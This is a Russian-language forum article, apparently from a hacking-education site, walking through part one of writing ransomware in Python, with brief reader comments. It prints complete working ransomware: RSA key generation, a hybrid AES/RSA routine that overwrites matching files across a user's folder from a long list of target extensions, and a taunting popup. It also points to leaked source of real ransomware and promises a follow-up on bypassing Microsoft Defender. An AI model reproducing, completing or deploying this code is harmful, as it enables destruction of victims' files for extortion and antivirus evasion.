Статья Пишем шифровальщик на python ч1

Unlock.jpg

Введение

Приветствую всех!

Во время активного изучения python, я нарвался на книгу "Black Hat Python: программирование для хакеров и пентестеров 2-е издание Джастин Зейтц, Тим Арнольд". И там рассматривалось написание шифровальщика с использованием гибридного шифрования, используя лучшие качества симметричной и асимметричной криптографии. AES - это алгоритм симметричного шифра. Симметричным его делает то, что для шифрования и расшифровки применяется один и тот же ключ. Он очень быстрый и способен справляться с большими объемами текста.

И асимметричный шифр RSA, в котором используются открытые/закрытые ключи. Один ключ (обычно открытый) нужен для шифрования, а другой (обычно закрытый) - для расшифровки.

Мы задействуем RSA, чтобы зашифровать единый ключ, применяемый для шифрования с помощью AES. Асимметричная криптография хорошо подходит для небольших наборов информации, что делает ее идеальным решением для шифрования ключа AES. Этот подход, в котором используются оба вида шифрования, называют гибридным, и он очень распространен. Например, он применяется при взаимодействии по TLS между вашим браузером и веб-сервером.


Дисклеймер: данная статья написана для ознакомительных целей. Автор не одобряет и не поощряет использование информации в противозаконных целях. Всю ответственность за ваши действия несёте только вы.

Часть 1

Перед тем как приступить к написанию кода я решил изучить исходники особо нашумевших шифровальщиков написанных на Python.
1) Юный программист разместил шифровальщика в репозитории PyPI:
Юный программист разместил шифровальщика в репозитории PyPI «шутки ради»
ссылка на исходник:
RansomWare/Main.py at main · b8ff/RansomWare

2) Специалисты Trend Micro обнаружили шифровальщика PyLocky, который написан на Python и маскируется под известного вымогателя Locky:

А вот тут чтобы найти исходник- пришлось включить голову, единственную ссылку на исходный код, что мне удалось найти на Reddit была благополучно удалена.

1669924687389.png

Но мы просто так не сдаемся, вспоминаем приём по поиску удаленной информации из сети и почапали на . И вот чудо, нам удалось найти исходный ко этого шифровальщика!

chuck-norris.jpg

ссылка на исходник:


Прежде чем заняться шифрованием и расшифровкой данных, мы должны создать открытый и закрытый ключи для асимметричного алгоритма RSA. То есть нужно написать функцию для генерации RSA-ключей.
Python:
from Cryptodome.PublicKey import RSA


def generate():
    new_key = RSA.generate(2048)
    private_key = new_key.exportKey()
    public_key = new_key.publickey().exportKey()
    with open('key.pri', 'wb') as f1:
        f1.write(private_key)
    with open('key.pub', 'wb') as f2:
        f2.write(public_key)

После запуска программы, рядом с ней создадутся два файла с ключами. Нас интересует key.pub, его содержимое нам пригодится в коде нашего шифровальщика.

А вот и сам код шифровальщика!

Python:
from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
import base64
import zlib
import string
import os
import tkinter
from time import time


ENCRYPTABLE_FILETYPES = [
        # GENERAL FORMATS
        "dat", "keychain", "sdf", "vcf",
        # IMAGE FORMATS
        "jpg", "png", "tiff", "tif", "gif", "jpeg", "jif", "jfif", "jp2", "jpx",
        "j2k", "j2c", "fpx", "pcd", "bmp", "svg", "3dm", "3ds", "max", "obj",
        "dds", "psd", "tga", "thm", "tif", "tiff", "yuv", "ai", "eps", "ps",
        "svg", "indd", "pct",
        # VIDEO FORMATS
        "mp4", "avi", "mkv", "3g2", "3gp", "asf", "flv", "m4v", "mov", "mpg",
        "rm", "srt", "swf", "vob", "wmv",
        # DOCUMENT FORMATS
        "doc", "docx", "txt", "pdf", "log", "msg", "odt", "pages", "rtf", "tex",
        "wpd", "wps", "csv", "ged", "key", "pps", "ppt", "pptx", "xml", "json",
        "xlsx", "xlsm", "xlsb", "xls", "mht", "mhtml", "htm", "html", "xltx",
        "prn", "dif", "slk", "xlam", "xla", "ods", "docm", "dotx", "dotm",
        "xps", "ics",
        # SOUND FORMATS
        "mp3", "aif", "iff", "m3u", "m4a", "mid", "mpa", "wav", "wma",
        # EXE AND PROGRAM FORMATS
        "msi", "php", "apk", "app", "bat", "cgi", "com", "asp", "aspx", "cer",
        "cfm", "css", "htm", "html",
        "js", "jsp", "rss", "xhtml", "c", "class", "cpp", "cs", "h", "java",
        "lua", "pl", "py", "sh", "sln", "swift",
        "vb", "vcxproj",
        # GAME FILES
        "dem", "gam", "nes", "rom", "sav",
        # COMPRESSION FORMATS
        "tgz", "zip", "rar", "tar", "7z", "cbr", "deb", "gz", "pkg", "rpm",
        "zipx", "iso",
        # MISC
        "ged", "accdb", "db", "dbf", "mdb", "sql", "fnt", "fon", "otf", "ttf",
        "cfg", "prf", "bak", "old", "tmp",
        "torrent"
    ]

public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsSAW8KpU0xNpb1dKwMlL
//c09gbAnpN+JvecLTqH9cDjsN1uiqq+WBPpA3qq7o6dBPWGtlUsTW+llt8XQDv2
cV5R0SHnq1WiOxz5Jm1T1T0xvYobF/tuluXWmzk8c77Jff8csycipbXnkEvjSfFs
KkSVxBwcz46oBXLGeCOSjYv39BjBmJF67bkJkmXFlOL9lKgD6fU2pXlluoxlxNM/
0q14J3UZf/avbJ9CLfZ1BCmBAocRlCVJ01NQLf+2s4CqXjkiDnqJ1TMJ6n0KoJIB
MMHSLxBqPmSarmm2ylcqv5UQs4SGU/rDyQT/JSPmqnA2lJ/kxj5oKqccwarwme2C
kQIDAQAB
-----END PUBLIC KEY-----"""


class ClsCrypt:
    @staticmethod
    def get_rsa_cipher(key):
        # Получение rsa ключа
        rsakey = RSA.importKey(key)
        return PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes()

    def crypt_file(self, plaintext):
        # Шифрование файла
        compressed_text = zlib.compress(plaintext)
        session_key = get_random_bytes(16)
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
        cipher_rsa, _ = self.get_rsa_cipher(public_key)
        encrypted_session_key = cipher_rsa.encrypt(session_key)
        msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
        encrypted = base64.encodebytes(msg_payload)
        return encrypted

    def exfiltrate(self, document_path):
        # Перезапись файла
        with open(document_path, 'rb') as f0:
            contents = f0.read()
        with open(document_path, 'wb') as f1:
            f1.write(self.crypt_file(contents))

    @staticmethod
    def check_system_disk():
        # Поиск системной папки пользователя
        # для наглядности в конце добавляем расположение папки для теста программы
        for c in string.ascii_uppercase:
            system_disk = f"{c}:\\Users\\{os.getlogin()}"
            if os.path.isdir(system_disk):
                return system_disk + "\\Desktop\\test"
 
    @staticmethod
    def check_files(dir_crypt):
        # Рекурсивный поиск файлов в указанном каталоге с учетом
        # расширений ENCRYPTABLE_FILETYPES
        result = []
        try:
            for dirpath, dirnames, filenames in os.walk(dir_crypt):
                for i in filenames:
                    fi, ext = os.path.splitext(i)
                    ext = ext[1:]
                    if ext in ENCRYPTABLE_FILETYPES:
                        result.append(f"{os.path.join(dirpath, i)}")
        except OSError:
            pass
        return result

    @staticmethod
    def window(time, count):
        # Всплывающее окно с информацией о выполнении программы
        window = tkinter.Tk()
        window.overrideredirect(True)
        window.attributes("-topmost", True)
        window.geometry(f"900x430")
        window.config(bg="gray10", relief="flat")
        window.title("Ooops...")

        label_1 = tkinter.Label(window, text="err0rtic :)", font=("Arial", 20), fg="red")
        label_1.place(x=450, y=48, anchor="center")

        label_2 = tkinter.Label(window, text=f'File encryption was successful\nTime encryption: {time}\n' + f'Count file encryption: {count}\n',
                                font=("Arial", 20), fg="red", bg="gray10")
        label_2.place(x=450, y=130, anchor="center")

        try:
            window.mainloop()
        except:
            pass

    def run(self):
        # Запуск шифрования
        sys_disk = self.check_system_disk()
        list_file = self.check_files(sys_disk)
        start_time = time()
        for i in list_file:
            self.exfiltrate(i)
        time_result = time() - start_time
        return time_result, len(list_file)


if __name__ == '__main__':
    Crypt = ClsCrypt()
    time, count = Crypt.run()
    Crypt.window(time, count)

Испытание

Для тестов использовал готовую виртуальную машину под Virtualbox.


тк был ограничен в мощностях, смог выделить только 2 ядра и 4 гб

1669926110812.png


Для проведения тестов я ограничился папкой на рабочем столе test, куда было закинуто 2гб фото и музыки

По завершению работы появляется всплывающее окно с информацией о выполнении программы.

1669926272051.png


Спойлер

Знаю, что подобных статей кругом полно, основная фишка будет раскрыта во второй части статьи. В ней я буду прикручивать multiprocessing к данному коду, чтобы ускорить шифрование в разы, покажу как это скомпилить в exe (там есть интересный ньюанс для multiprocessing) и покажу вам, как можно обойти защиту Microsoft Defender.

P.S т.к. на виртуалке всего два ядра, увеличить скорость шифрования удалось почти в два раза

1669927153760.png


На этом всё, буду рад любому фитбеку!
 
Последнее редактирование модератором:
Питон классный язык, но что ты не придумывай, всё равно на выходе будет Петя на минималках :D
 
Последнее редактирование:
  • Нравится
Реакции: err0rtic
Пипессс, а я забыл это на виртуалке испытатььь :ROFLMAO::ROFLMAO::ROFLMAO:
Но главное остановил, и запустил в виртуалку. Все работает
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!